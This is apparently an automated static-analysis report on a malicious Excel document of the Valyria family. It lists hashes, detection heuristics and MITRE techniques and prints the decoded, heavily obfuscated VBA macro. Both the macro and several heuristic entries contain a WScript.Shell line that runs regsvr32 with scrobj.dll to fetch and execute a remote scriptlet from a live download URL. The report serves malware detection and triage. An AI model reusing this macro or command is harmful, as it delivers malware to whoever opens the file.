Valyria — Office (OOXML) malware analysis

Static analysis result for SHA-256 a41dbea83c0d6d67…

MALICIOUS

Office (OOXML)

21.4 KB Created: 2021-07-01 09:58:08 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-07
MD5: ddae313dc2b60659e4b7a1fbb14068be SHA-1: 37478a5c6966002d27ccc23ba60ae00ca61f20ce SHA-256: a41dbea83c0d6d675464f55021ba09c48678a15f309faab5329cf18e7e1cbf10
442 Risk Score

Malware Insights

Valyria · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

This OOXML document contains VBA macros that utilize WScript.Shell and the Shell() function to execute code. The ClamAV detection 'Xls.Malware.Valyria-10036093-0' strongly suggests the Valyria family. The macro likely downloads and executes a second-stage payload, indicated by the presence of embedded VBA artifacts and the use of execution functions.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-10036093-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10036093-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
        .Filters.Add "Excel Files", "*.yBcMJGtnvYZUdPRSWfdVSTFhyrVvS; *.ZdGVowZhcNvSTMD; *.oJeWKHIVTJHPtyIEbLeOyTnJhnwopWvyuCdZ; *.HMddYTGYTBCRIJwuUiIsOQRMeDTtunMCNwHUiuaICARiLeXMvBKDnzORU; *.pnHvIDkQLpNPyHWBTLyepOBDXHRzBcnGDzEDTJaVGkXrYXzRfFHXpaEATeoaLOnJUivYc", 1
Set Pe = CreateObject("WScript.Shell")
Pe.Run ("regsvr32 /scTfVFhD   /nRdhUALt   /ucTfVFhD  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll GokTnpv")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.yBcMJGtnvYZUdPRSWfdVSTFhyrVvS; *.ZdGVowZhcNvSTMD; *.oJeWKHIVTJHPtyIEbLeOyTnJhnwopWvyuCdZ; *.HMddYTGYTBCRIJwuUiIsOQRMeDTtunMCNwHUiuaICARiLeXMvBKDnzORU; *.pnHvIDkQLpNPyHWBTLyepOBDXHRzBcnGDzEDTJaVGkXrYXzRfFHXpaEATeoaLOnJUivYc", 1
Set Pe = CreateObject("WScript.Shell")
Pe.Run ("regsvr32 /scTfVFhD   /nRdhUALt   /ucTfVFhD  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll GokTnpv")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set Pe = CreateObject("WScript.Shell")
Pe.Run ("regsvr32 /scTfVFhD   /nRdhUALt   /ucTfVFhD  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll GokTnpv")
 .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.yBcMJGtnvYZUdPRSWfdVSTFhyrVvS; *.ZdGVowZhcNvSTMD; *.oJeWKHIVTJHPtyIEbLeOyTnJhnwopWvyuCdZ; *.HMddYTGYTBCRIJwuUiIsOQRMeDTtunMCNwHUiuaICARiLeXMvBKDnzORU; *.pnHvIDkQLpNPyHWBTLyepOBDXHRzBcnGDzEDTJaVGkXrYXzRfFHXpaEATeoaLOnJUivYc", 1
Set Pe = CreateObject("WScript.Shell")
Pe.Run ("regsvr32 /scTfVFhD   /nRdhUALt   /ucTfVFhD  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll GokTnpv")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 25251 bytes
SHA-256: c3564f0ce833fa4bdf226598c62c037b8b25f5452fddf8830510983330915664
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim wnVRpuswIbsCosNbdPOcEukv As Workbook, zouoBuSWLMuERcwfLNOJZYHvYOeYZnun As Workbook, DnNJfHNQGwIWfOnnTSkARJFWtErzBPrWvfTSncHovTOWsBYzrWWRifdTvJuBfzpFDb As Workbook, cBbJnvefPUQNkEdvNUepeUrGwfZXHkR As Workbook
·······························································································································································································································································································································································································································································································································································································································································································································································································································································································································································································································································
·······························································································································································································································································································································································································································································································································································································································································································································································································································································································································································································································································
·······························································································································································································································································································································································································································································································································································································································································································································································································································································································································································································································································
·······························································································································································································································································································································································································································································································································································································································································································································································································································································································································································································································································
······················································
Dim rYzLcQFKVBXVMaDGMUkoYyeMTKUwEHQXAkakLaPnQtzBSnSZREuGrsaXBNMTQrIn As Workbook, kpCybYFXQFPWUnAN As Workbook, onNecASVknhVnYKHUaKOVYYpN As Workbook, tzYQdXfUGeETOJUBkrpZUoJXJiEvfTyUvWyQouVcWNWO As Workbook
Dim ThSZWYzQUrattPFHthIyiBkGGnLDBOGyFMCvziwMAvTZrbFJ As Integer, hYJYbzzH As Integer, VOQuwwRaLQCYwKRztHM  As Integer, UYJkQMNhfAOLISMeCcDSrcyCuNtrMzYVekJCC As Integer
Dim drzRPMYcCsWhXwnSLboteUHbUukCJJueBGvfksSypezMY As Range, CoGWaKcdcJcscWIGsPwvpEhyZWkZyywFvQOtznewdVAAkOXShLW As Range, oEzJLXeLEKXEGrEspzJYkdRTLvFp As Range
Dim azGzMAXiyDPA As Range, fSzEXFfaQIrLInFeTaHyRHCoSVtYVsDEQucNWnHhnGPL As Range, fEtYtOhQnHPdiRYCAKoS As Range, KzJUQDvaYRcPNEsOuMaAXNwbCRcRMnicDQyVTXzKfnY As Range, wLMJXCXfUpfcyzDvwiFzZnyWPsbQSHTXbHknBBRvIZLHKPUwRCLnECyVOCUAnivbRCZFNQ As Range, nWVziHrTuAGwKcHSfVhP As Range
Dim bZHZ As Variant, ORuEKFiDGzVEYIwTieryvZyVZOOLZMPTfRviITYhIbzpTIDPf As Variant
Dim dLHL As String
Dim DkTkbPknrLztILBRFSyTNEUaEbIuybENCZcRBYSuHhfVkZdHHFiMdpo, hHHpczSTSdYGvVRPZvCOJEMfGhhUinhtTbQTveLuEfQFedvbPnT As Long

Dim cRKhAGE As Variant
cRKhAGE = Array("eMytVheFZTrHWZKODRZdDUBPFOhVEPHCRdbnGNWiaAFPaWaQIPYEEZQnsJSiakb #", "ytUEVuQvcU", "kIHMZLfTXXntADaHTXRi?dkUDDYIXsGQYszWbQdZUBkbSLTVHXazdRPhAMrH", "eMytVheFZTrHWZKODRZdDUBPFOhVEPHCRdbnGNWiaAFPaWaQIPYEEZQnsJSiakb EzcXPdO", "eMytVheFZTrHWZKODRZdDUBPFOhVEPHCRdbnGNWiaAFPaWaQIPYEEZQnsJSiakb oJeWKHI", "cTfVFhD RdhUALt", "GokTnpv")
Dim rDpSpOh As Long, eNwReoa As Long
Dim eyIt As String, FRRQzBcJVEWcnMHcrGUrWRNFbEKdtLcSpOVYLYYhaXZkJUPRpizJIDI As String
For hYJYbzzH = 1 To DkTkbPknrLztILBRFSyTNEUaEbIuybENCZcRBYSuHhfVkZdHHFiMdpo
    eyIt = DnNJfHNQGwIWfOnnTSkARJFWtErzBPrWvfTSncHovTOWsBYzrWWRifdTvJuBfzpFDb.zRIrkzQVicAByXfZKnKEpMRbTCW(1).Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & hYJYbzzH).Value
    FRRQzBcJVEWcnMHcrGUrWRNFbEKdtLcSpOVYLYYhaXZkJUPRpizJIDI = DnNJfHNQGwIWfOnnTSkARJFWtErzBPrWvfTSncHovTOWsBYzrWWRifdTvJuBfzpFDb.zRIrkzQVicAByXfZKnKEpMRbTCW(1).Range("SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz" & hYJYbzzH).Value
    Select Case True
        Case eyIt = "JioPUsO:": DnNJfHNQGwIWfOnnTSkARJFWtErzBPrWvfTSncHovTOWsBYzrWWRifdTvJuBfzpFDb.zRIrkzQVicAByXfZKnKEpMRbTCW(1).Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & hYJYbzzH & ":SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz" & hYJYbzzH).Font.Bold = True
        Case InStr(1, eyIt, "ytUEVuQvcU: ")
            DnNJfHNQGwIWfOnnTSkARJFWtErzBPrWvfTSncHovTOWsBYzrWWRifdTvJuBfzpFDb.zRIrkzQVicAByXfZKnKEpMRbTCW(1).Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & hYJYbzzH & ":nGOttYAfLJYfvXnthJEDvhpNt" & hYJYbzzH).Interior.ColorIndex = 15
            DnNJfHNQGwIWfOnnTSkARJFWtErzBPrWvfTSncHovTOWsBYzrWWRifdTvJuBfzpFDb.zRIrkzQVicAByXfZKnKEpMRbTCW(1).Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & hYJYbzzH).Font.Bold = True
        Case InStr(1, FRRQzBcJVEWcnMHcrGUrWRNFbEKdtLcSpOVYLYYhaXZkJUPRpizJIDI, "bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY"): DnNJfHNQGwIWfOnnTSkARJFWtErzBPrWvfTSncHovTOWsBYzrWWRifdTvJuBfzpFDb.zRIrkzQVicAByXfZKnKEpMRbTCW(1).Range("SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz" & hYJYbzzH & ":SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz" & (hYJYbzzH + 2)).Interior.ColorIndex = 37
        Case InStr(1, FRRQzBcJVEWcnMHcrGUrWRNFbEKdtLcSpOVYLYYhaXZkJUPRpizJIDI, "SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz"): DnNJfHNQGwIWfOnnTSkARJFWtErzBPrWvfTSncHovTOWsBYzrWWRifdTvJuBfzpFDb.zRIrkzQVicAByXfZKnKEpMRbTCW(1).Range("SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz" & hYJYbzzH & ":SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz" & (hYJYbzzH + 2)).Interior.ColorIndex = 3
        Case InStr(1, FRRQzBcJVEWcnMHcrGUrWRNFbEKdtLcSpOVYLYYhaXZkJUPRpizJIDI, "wSVvTHSQVFWOAVzZrGGkVHfozWEOavPpkePPRJvPctvQWWJTDoNJeroJNHSXddP"): DnNJfHNQGwIWfOnnTSkARJFWtErzBPrWvfTSncHovTOWsBYzrWWRifdTvJuBfzpFDb.zRIrkzQVicAByXfZKnKEpMRbTCW(1).Range("SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz" & hYJYbzzH & ":SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz" & (hYJYbzzH + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next hYJYbzzH
Application.DisplayAlerts = False
Dim EzcXPdOHVzy As PivotItem

With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'fEtYtOhQnHPdiRYCAKoS  IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ hYJYbzzH  zRIrkzQVicAByXfZKnKEpMRbTCW
    .Filters.Add "Excel Files", "*.yBcMJGtnvYZUdPRSWfdVSTFhyrVvS; *.ZdGVowZhcNvSTMD; *.oJeWKHIVTJHPtyIEbLeOyTnJhnwopWvyuCdZ; *.HMddYTGYTBCRIJwuUiIsOQRMeDTtunMCNwHUiuaICARiLeXMvBKDnzORU; *.pnHvIDkQLpNPyHWBTLyepOBDXHRzBcnGDzEDTJaVGkXrYXzRfFHXpaEATeoaLOnJUivYc", 1
Set Pe = CreateObject("WScript.Shell")
Pe.Run ("regsvr32 /scTfVFhD   /nRdhUALt   /ucTfVFhD  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll GokTnpv")
 .Show
 'ytUEVuQvcU bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY /nRdhUALt IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ

End With
If InStr(fullpath, ".oJeWKHIVTJHPtyIEbLeOyTnJhnwopWvyuCdZ") = 0 Then
 
    Exit Sub
End If
Set ws = Workbooks.Open(fullpath)
Set wb = Workbooks.Add
ws.zRIrkzQVicAByXfZKnKEpMRbTCW(1).UsedRange.Copy Destination:=wb.zRIrkzQVicAByXfZKnKEpMRbTCW("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & Rows.YdMFDiViwfuuTzbBtOJGzbtLUeNSfPuGdktD).End(xlUp)
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Range("pJRaKkkWLHHAoBRUyyIXvOFMtMvFQraSXEVacaKLiU").Value = "Status"
lRow = wb.zRIrkzQVicAByXfZKnKEpMRbTCW("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Cells(Rows.YdMFDiViwfuuTzbBtOJGzbtLUeNSfPuGdktD, 1).End(xlUp).Row
For MNsJOUasoGvHtkIAUZecdiSDyntKyQUDdnStXnBNHhdBAHMOBUBSzWVEVTwADsY = 2 To lRow
    If wb.zRIrkzQVicAByXfZKnKEpMRbTCW("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Range("H" & MNsJOUasoGvHtkIAUZecdiSDyntKyQUDdnStXnBNHhdBAHMOBUBSzWVEVTwADsY).Value = 0 And wb.zRIrkzQVicAByXfZKnKEpMRbTCW(1).Range("I" & MNsJOUasoGvHtkIAUZecdiSDyntKyQUDdnStXnBNHhdBAHMOBUBSzWVEVTwADsY).Value = 0 Then
        wb.zRIrkzQVicAByXfZKnKEpMRbTCW("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Range("MNsJOUasoGvHtkIAUZecdiSDyntKyQUDdnStXnBNHhdBAHMOBUBSzWVEVTwADsY" & MNsJOUasoGvHtkIAUZecdiSDyntKyQUDdnStXnBNHhdBAHMOBUBSzWVEVTwADsY).Value = "wSVvTHSQVFWOAVzZrGGkVHfozWEOavPpkePPRJvPctvQWWJTDoNJeroJNHSXddP"
    Else
        wb.zRIrkzQVicAByXfZKnKEpMRbTCW("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Range("MNsJOUasoGvHtkIAUZecdiSDyntKyQUDdnStXnBNHhdBAHMOBUBSzWVEVTwADsY" & MNsJOUasoGvHtkIAUZecdiSDyntKyQUDdnStXnBNHhdBAHMOBUBSzWVEVTwADsY).Value = "wSVvTHSQVFWOAVzZrGGkVHfozWEOavPpkePPRJvPctvQWWJTDoNJeroJNHSXddP"
    End If
Next MNsJOUasoGvHtkIAUZecdiSDyntKyQUDdnStXnBNHhdBAHMOBUBSzWVEVTwADsY
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Range("ZoPNAnDuhYsHcfSnGLFbhAEKWeZtDAHaXYCUfnKAhtrJQevdcPvSGW:pJRaKkkWLHHAoBRUyyIXvOFMtMvFQraSXEVacaKLiU").AutoFilter _
    Field:=4, _
    Criteria1:=Array("EN", "EN/ofDikOSetffWwVbAcaJUEAMdSNOOVHEXnNiwthPtBYy", "FF", "FF/ofDikOSetffWwVbAcaJUEAMdSNOOVHEXnNiwthPtBYy", "hMhXnbkLPcvvhDzUnrHYSXfUt", "hMhXnbkLPcvvhDzUnrHYSXfUt/ofDikOSetffWwVbAcaJUEAMdSNOOVHEXnNiwthPtBYy"), _
    Operator:=xlFilterValues
    'kIHMZLfTXXntADaHTXRi?dkUDDYIXsGQYszWbQdZUBkbSLTVHXazdRPhAMrH
    wb.zRIrkzQVicAByXfZKnKEpMRbTCW("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Range("ZoPNAnDuhYsHcfSnGLFbhAEKWeZtDAHaXYCUfnKAhtrJQevdcPvSGW:pJRaKkkWLHHAoBRUyyIXvOFMtMvFQraSXEVacaKLiU").AutoFilter _
    Field:=5, _
    Criteria1:=Array("1", "2", "3", "4", "5", "6", "7"), _
    Operator:=xlFilterValues
    'ytUEVuQvcU
    wb.zRIrkzQVicAByXfZKnKEpMRbTCW("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Range("ZoPNAnDuhYsHcfSnGLFbhAEKWeZtDAHaXYCUfnKAhtrJQevdcPvSGW:pJRaKkkWLHHAoBRUyyIXvOFMtMvFQraSXEVacaKLiU").AutoFilter _
    Field:=7, _
    Criteria1:=Array("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY", "SbNfyeCIYLTGXKaNVKUDNPSWKtMOtGATMUnKbGBz", "wSVvTHSQVFWOAVzZrGGkVHfozWEOavPpkePPRJvPctvQWWJTDoNJeroJNHSXddP"), _
    Operator:=xlFilterValues
Worksheets("uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI").Cells(1, 1).Select
 zRIrkzQVicAByXfZKnKEpMRbTCW.Add
 wb.PivotCaches.Create(SourceType:=xlDatabase, SourceData:= _
"uLRrhsJJShVaDVNZreKryhGQnNXMOBQMSCTybACaUpIoycBI!R1C1:R" & lRow & "IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ", Version:=xlPivotTableVersion15).CreatePivotTable _
TableDestination:="sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc!R3C1", TableName:="PivotTable1", DefaultVersion _
:=xlPivotTableVersion15
zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Select
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").PivotTables(1).AddFields _
ColumnFields:="bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY", _
RowFields:=Array("ytUEVuQvcU", "CdMekLuLBZcABCfhObaoQZCISssQFzOJpckspcnThXUXKniQZtuvGa", "CdMekLuLBZcABCfhObaoQZCISssQFzOJpckspcnThXUXKniQZtuvGa", "CdMekLuLBZcABCfhObaoQZCISssQFzOJpckspcnThXUXKniQZtuvGa", "CdMekLuLBZcABCfhObaoQZCISssQFzOJpckspcnThXUXKniQZtuvGa")
With wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").PivotTables(1).PivotFields("RdGeoopGvEUywdwrkyJzDQEGSaTLHVkhUdotywQoPGrP")
.Orientation = xlDataField
.Name = "YdMFDiViwfuuTzbBtOJGzbtLUeNSfPuGdktD"
.Function = xlCount
End With

With wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").PivotTables(1).PivotFields("RdGeoopGvEUywdwrkyJzDQEGSaTLHVkhUdotywQoPGrP")
.Orientation = xlDataField
.Name = "icRed"
.NumberFormat = "icRed"
.Function = xlCount
.Calculation = xlPercentOfRow
End With

With wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").PivotTables(1).PivotFields("ytUEVuQvcU")
    .pOfWbYtS("KCGOdafSnhoKifwIJGJtKfNaraTRbTktPSiMGvXTWCnbNDBXCFzcfKYEPGycinQBXVVrY").Visible = False
    .pOfWbYtS("KCGOdafSnhoKifwIJGJtKfNaraTRbTktPSiMGvXTWCnbNDBXCFzcfKYEPGycinQBXVVrY").Visible = False
    .pOfWbYtS("KCGOdafSnhoKifwIJGJtKfNaraTRbTktPSiMGvXTWCnbNDBXCFzcfKYEPGycinQBXVVrY").Visible = False
    .pOfWbYtS("KCGOdafSnhoKifwIJGJtKfNaraTRbTktPSiMGvXTWCnbNDBXCFzcfKYEPGycinQBXVVrY").Visible = False
    .pOfWbYtS("(KCGOdafSnhoKifwIJGJtKfNaraTRbTktPSiMGvXTWCnbNDBXCFzcfKYEPGycinQBXVVrY)").Visible = False
End With
With wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").PivotTables(1).PivotFields("Battalion")
    .pOfWbYtS("KCGOdafSnhoKifwIJGJtKfNaraTRbTktPSiMGvXTWCnbNDBXCFzcfKYEPGycinQBXVVrY").Visible = False
    .pOfWbYtS("(KCGOdafSnhoKifwIJGJtKfNaraTRbTktPSiMGvXTWCnbNDBXCFzcfKYEPGycinQBXVVrY)").Visible = False
End With
For Each EzcXPdOHVzy In wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").PivotTables(1).PivotFields("Rank").pOfWbYtS
    On Error Resume Next
    EzcXPdOHVzy.Visible = False
Next EzcXPdOHVzy
With wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").PivotTables(1).PivotFields("Rank")
    .pOfWbYtS("IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh").Visible = True
    .pOfWbYtS("IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh/IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh").Visible = True
    .pOfWbYtS("IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh").Visible = True
    .pOfWbYtS("IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh/IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh").Visible = True
    .pOfWbYtS("IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh").Visible = True
    .pOfWbYtS("IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh/IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh").Visible = True
    .pOfWbYtS("(IQorXJULfQnfWtfRsbSovadtOyGPKBNLZALcDELpoKIbAAyoWNwLJCXHNVGFcfaKdJh)").Visible = False
End With
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").PivotTables(1).PivotFields("Battalion").ShowDetail = False
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").PivotTables(1).RefreshTable
For j = 7 To 13
    wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & j).Value = "Battalion " & wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & j).Value
    Debug.Print (j)
Next j
For k = 6 To 22 Step 8
    wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & k).Value = "ytUEVuQvcU " & wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & k).Value
Next k
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ").Value = "YdMFDiViwfuuTzbBtOJGzbtLUeNSfPuGdktD"
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ").Value = "%"
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ").EntireRow.Hidden = True
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY:IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ").Columns.AutoFit
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Columns("IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ").Hidden = True
